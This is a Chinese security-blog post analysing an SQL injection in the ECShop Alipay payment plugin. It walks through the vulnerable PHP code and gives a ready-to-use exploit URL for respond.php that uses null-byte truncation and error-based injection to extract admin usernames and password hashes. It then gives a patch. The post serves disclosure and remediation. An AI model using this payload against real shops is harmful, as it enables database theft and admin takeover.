记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

ecshop 支付宝支付插件最新注入0day漏洞

2013-02-21 23:05

漏洞作者:360

漏洞分析:Seay


今天习惯性的到处逛,看看文章。看到了360爆的一个ecshop 支付宝支付插件的注入漏洞,照例的分析下,360的团队还是挺赞的。

由于漏洞源于ecshop的支付宝支付插件,所有利用前提是站点安装此插件,利用不受GPC影响。

漏洞核心代码在\includes\modules\payment\alipay.php 文件 respond()函数,第215行。

 




function respond() { if (!empty($_POST)) { foreach($_POST as $key => $data) { $_GET[$key] = $data; } } $payment = get_payment($_GET['code']); $seller_email = rawurldecode($_GET['seller_email']); $order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']); $order_sn = trim($order_sn); /* 检查支付的金额是否相符 */ if (!check_money($order_sn, $_GET['total_fee'])) { /*----省略----*/ 

 

$order_sn变量由str_replace($_GET['subject'], ”, $_GET['out_trade_no']);控制,我们可以通过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里面的反斜杠\

最终$order_sn被带入check_money()函数。我们跟进看一下

include\lib_payment.php文件中109.


function check_money($log_id, $money) { $sql = 'SELECT order_amount FROM ' . $GLOBALS['ecs']->table('pay_log') . " WHERE log_id = '$log_id'"; $amount = $GLOBALS['db']->getOne($sql); if ($money == $amount) { /*----省略----*/ 


此处就是漏洞现场。原来的$order_sn被带入了数据库。

利用测试:

首先我们要通过str_replace来达到我们想要的效果,%00是截断符,即也为NULLNULL值是与0相等的,

测试代码

 


<?php
$a
=addslashes($_GET['a']); $b=addslashes($_GET['b']); print_r($a.'<br />'); print_r($b.'<br />'); print_r(str_replace($a,'',$b)); ?>


效果图:



调用respond()函数的文件是respond.php,所以要在respond.php文件利用。

最终利用EXP

http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00′ and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) — By seay

目前,ECShop官网已经发布官方修复程序。360网站安全检测平台也第一时间向注册用户发送了告警邮件,提醒用户尽快打补丁,防止黑客拖库攻击。同时,360安全工程师建议网站管理员及个人站长使用360网站安全检测平台对网站进行全面体检,掌握网站安全状况,并使用360网站卫士防御黑客攻击。

临时解决方案:

1.关闭支付宝插件

2.修改/includes/modules/payment/alipay.php文件中

$order_sn = str_replace($_GET['subject'], ”,$_GET['out_trade_no']);

$order_sn = trim($order_sn);

修改成如下代码

$order_sn = str_replace($_GET['subject'], ”,$_GET['out_trade_no']);

$order_sn = trim(addslashes($order_sn));

 

ECShop官方补丁程序下载地址(推荐):

http://bbs.ecshop.com/viewthread.php?tid=1125380&extra=page=1&orderby=replies&filter=172800


知识来源: www.hackqing.com/index.asp?FoxNews=803.html

阅读:281987 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“ecshop 支付宝支付插件最新注入0day漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云